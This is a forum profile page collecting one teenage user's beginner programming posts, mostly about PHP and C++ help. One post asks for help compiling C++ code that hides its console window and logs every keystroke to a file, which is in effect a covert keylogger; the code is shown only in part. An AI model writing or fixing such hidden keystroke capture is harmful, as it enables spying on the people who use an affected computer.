Jump to content

Fruitpastles

Active Members
  • Posts

    23
  • Joined

  • Last visited

Posts posted by Fruitpastles

  1. Here's a few functions I threw together that might improve it a little.

    <?php
    
    //LENGTHANDWRAP - cuts length, wraps and builds content
    function LengthAndWrap( $name, $message )
    {
        //SETTINGS
        define("MESSAGE_MAX_LENGTH", 150);
        define("MAX_WRAP_LENGTH", 18);
        
        //BUILD STRING
        $string = $name . ": " . $message;
        
        //TRIM LENGTH
        $string = substr( $string, 0, MESSAGE_MAX_LENGTH );
        
        //WRAP
        $string = wordwrap($string, MAX_WRAP_LENGTH, "<br />", true);
         
        //RETURN
        return $string;
    }
    
    
    
    //CENSOR INPUT - removes bad parts of string
    function CensorInput( $input )
    {
        //======================================================//
        // Reads text file in the format: FIND:REPLACEWITH;
        // Example:
        // fuck:sunshinedust;
        // dick:willy;
        // pussy:lady area;
        // balls:face;
        //======================================================//
        
        
        //SETTINGS
        define("WORD_FILE", "words.txt"); //bad word file
        
        //GET LIST OF WORDS
        $handle = fopen( WORD_FILE, "r" );
        $string = fread($handle, filesize( WORD_FILE ));
        fclose($handle);
    
        //REMOVE WHIE SPACE
        $string = str_replace("\r\n", "", $string);//remove CRLF
        $string = trim( $string ); //trim other whitespace
        
        //PREP FOR LOOP
        $total = substr_count( $string, "="); //count number of word replacements
        $curr = 0;
        $end = 0;
        
        //PARSE CENSOR FILE
        while ($curr != $total)//while the current divider is not the same as the total dividers
        {
        
            //GRAB WORD TO REPLACE
            $start = ($end!=0?$end+1:0); //set to 0 if its the start of the file else +1
            $end = strpos($string, "=", $start); 
            $bad = substr( $string, $start, $end-$start );
        
            //GRAB REPLACEMENT
            $start = $end + 1;
            $end = strpos($string, ";", $start);
            $good = substr( $string, $start, $end-$start);
        
            //UPDATE ARRAYS
            $replacements[] = $good;
            $WordsOfTheDevil[] = $bad;
        
            //MOVE ALONG STRING
            $curr++;
        }
        
        //CENSOR
        $input = str_ireplace( $WordsOfTheDevil, $replacements, $input ); //replace, with, in
    
        return $input;
    }
    ?>

  2. You could use str_ireplace(). It's the same but case in-sensitive, only available in PHP5 though.

    i would love to see what someone breaking into your house would do if suddenly the wall said

    "i'm watching you put down the damn tv"

    LOL! I almlost want it to happen now :D.

  3. EDIT: I carried on with the googling and eventually found a good tutorial that helped me set up a local mail server. I'm pretty annoyed at how easy it was =P. Anyway, if anybody else is having problems check out this tutorial: http://www.phpeasystep.com/phptu/23.html

    =================================================================

    Hi,

    I'm trying to configure PHP Mail. I'm using WAMP, and so have complete control over the PHP settings.

    I've changed the PHP.ini file to read:

    CODE

    [mail function]

    ; For Win32 only.

    SMTP = smtp.googlemail.com

    smtp_port = 465

    ; For Win32 only.

    sendmail_from = fruitpastles@gmail.com

    ; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").

    ;sendmail_path =

    ; Force the addition of the specified parameters to be passed as extra parameters

    ; to the sendmail binary. These parameters will always replace the value of

    ; the 5th parameter to mail(), even in safe mode.

    ;mail.force_extra_parameters =

    But I get the following error (well warning):

    QUOTE

    [22-Mar-2008 14:56:41] PHP Warning: mail() [<a href='function.mail'>function.mail</a>]: Failed to connect to mailserver at "smtp.googlemail.com" port 465, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:wampwwwtestmail.php on line 9

    Some googling tells me that it's probably because Gmail's SMTP server requires authentication.

    I though of using Hotmail, but apparently that's purely HTTP, and I can't use my ISP Email address because I don't remember the password.

    Can anybody help me out, or point me int he right direction? I'd rather not use any 3rd party classes or anything like that.

    Thanks in advance.

  4. Thanks so much for your help!

    However:

    Linking with CW32i.LIB resolved "Error: Unresolved external'___CPPdebugHook' referenced from.......", but I'm still getting "Error: Unresolved external'__System__GetTls' referenced from.....". I tried every Library that I got with the Compiler, and have done an excessive amount of googling (even resorted to Yahoo  :-() to no avail.

  5. Hey I'm having a few problems with my compiler.

    I'm using Borland C++BuilderX 1.0.0.1786, and when I compile the following code, I get the errors below:

    #include &lt;windows.h&gt;
    #include &lt;fstream.h&gt;
    
    using namespace std;
    
    ofstream log;
    
    int main(){
    
    ShowWindow(GetConsoleWindow(), SW_HIDE); //hide console
    
    log.open("log.dat", ios::app); //open log file - append
    
    while(1){ //infinite loop
    
              for(int keyCode=0;keyCode&lt;255;keyCode++){ //loop through key codes
    
                      if(GetAsyncKeyState(keyCode)==-32767){ //get key code
    
                           if(keyCode == 65){
                                  log&lt;&lt; "A";
                           }
                           else if(keyCode == 66){
                                  log&lt;&lt; "B";
                           }
                           else if(keyCode == 67){
                                  log&lt;&lt; "C";
                           }
                .............etc
          }
        Sleep(1);
     }
    return 0;
    }

    errorko2.png

    When I compile with Dev-C++ 4 I get errors with "ShowWindow(GetConsoleWindow(), SW_HIDE);":

    error2kv6.png

    Other then that it works fine in Dev-C++.

    I moved "ofstream log;" into the main function (Borland version), but as soon as It had compiled, it crashed with the "Program Not Responding" error message.

    I've done tonnes of Googling and found nothing helpful.

    I'd really appreciate any help at all, thanks in advance.

  6. Hi,

    I'm trying to get this script to work. It is supposed to fill an array with 6 different random numbers, but for some reason it fills it with the same number, despite me recalling the function to generate the numbers.

    &lt;?php
    
    function random(){ //function to generate random number
        srand(time());                    
        $random = (rand()%6)+1;
            return $random;
    }
    
    for($i=1;$i&lt;7;$i++){ //fill '$code' array, with '$random'
        $code[$i] = random();
    }
    
    for($i=1;$i&lt;7;$i++){ //output array - debug
        echo($code[$i]);
        echo("&lt;br&gt;");
    }
      
    ?&gt;

    Any help is greatly appreciated  :D

  7. It's not likely to be just down the road from me so I won't be able to come anyway, well without my mum having the police looking for me :P. Ahh well I'll just wait a couple of years until the next one.

  8. Thanks Cooper & psychoaliendog.

    Thanks for cleaning my code up, but i don't quite understand what "0xdf" does? (I googled it but it came up with nothing, and there wasn't anything about it in ym book) I also put the "cin.get();"s you took out, back in, as without them the console always closes.

    I realized my mistake with the formulas yesterday and fixed them using parenthesis thanks for pointing it out anyway.

  9. Thanks for suggesting a switch statement:

    switch(scale[0])
    
     {
    
            case 'f':
    
             cout&lt;&lt; "The value in Degrees Celsius is: " &lt;&lt; toCelsius(tempVal);
    
             cin.get();
    
              break;
    
            case 'F':
    
             cout&lt;&lt; "The value in Degrees Celsius is: " &lt;&lt; toCelsius(tempVal);
    
             cin.get();
    
              break;
    
            case 'c':
    
             cout&lt;&lt; "The value in Degrees Fahrenheit is: " &lt;&lt; toFahrenheit (tempVal);
    
             cin.get();
    
              break;
    
            case 'C':
    
            cout&lt;&lt; "The value in Degrees Fahrenheit is: " &lt;&lt; toFahrenheit (tempVal);
    
            cin.get();
    
              break;
    
            default:
    
              cout&lt;&lt; "Error";
    
              break;
    
     }

  10. Name: Craig

    Favorite game: Splinter Cell

    Preferred OS: XP/Ubuntu (duel boot)

    Favorite console: Xbox 360 (Too scared of braking it to try modding :P)

    Nationality: British

    Sex: Male

    Age: 15

    Height: 6'1

    Favourite band: red Hot chill peppers

    Favourite movie: Hot fuzz (went to watch it yesterday)

    Favourite TV Show: Family Guy

    Other hobbies: flying, shooting, camping, taking things to pieces and then forgetting how to put them back together :(.

    Occupation: retired paperboy, trying to get a job at the local computer shop.

  11. I got a book on C++ just before christmas and I've been slowly working my way through it. Yesterday I tried to make a small program to convert fahrenheit to celcius but it isn't working for some reason?

    #include &lt;iostream&gt;
    
    
    
    using namespace std;
    
    
    
    
    
    //define vars
    
    int tempVal = 0;
    
    char scale[1];
    
    int conversion = 0;
    
    
    
    //function to convert F to C
    
    int toCelsius (int tempVal)
    
    {
    
     conversion = tempVal - 32 / 9 *5; //formula for conversion
    
    
    
     return conversion;
    
    }
    
    
    
    
    
    //function to convert C to F
    
    int toFahrenheit (int tempVal)
    
    {
    
    conversion = tempVal + 32 * 9 /5; //formula for conversion
    
    return conversion;
    
    }
    
    
    
    
    
    int main()
    
    {
    
      cout&lt;&lt;"Enter the Temperature Value: ";
    
      cin&gt;&gt; tempVal;
    
      cout&lt;&lt; "Enter the Temperature Scale: ";
    
      cin&gt;&gt; scale;
    
      if (scale == "f")
    
      {
    
        cout&lt;&lt; toCelsius(tempVal); //call function to convert to C
    
      }
    
      else if (scale == "c")
    
      {
    
         cout&lt;&lt; toFahrenheit (tempVal); //call function to convert to F
    
      }
    
      else
    
      {
    
       cout &lt;&lt;"Error"; // this is what it outputs every time :(
    
      }
    
    
    
      cin.get();
    
      return 0;
    
    }

    Every time it outputs "Error" ( cout <<"Error"; ) and I'm sure I'm entering it in lower case before anyone asks.

    Any help is greatly appreciated . :D

×
×
  • Create New...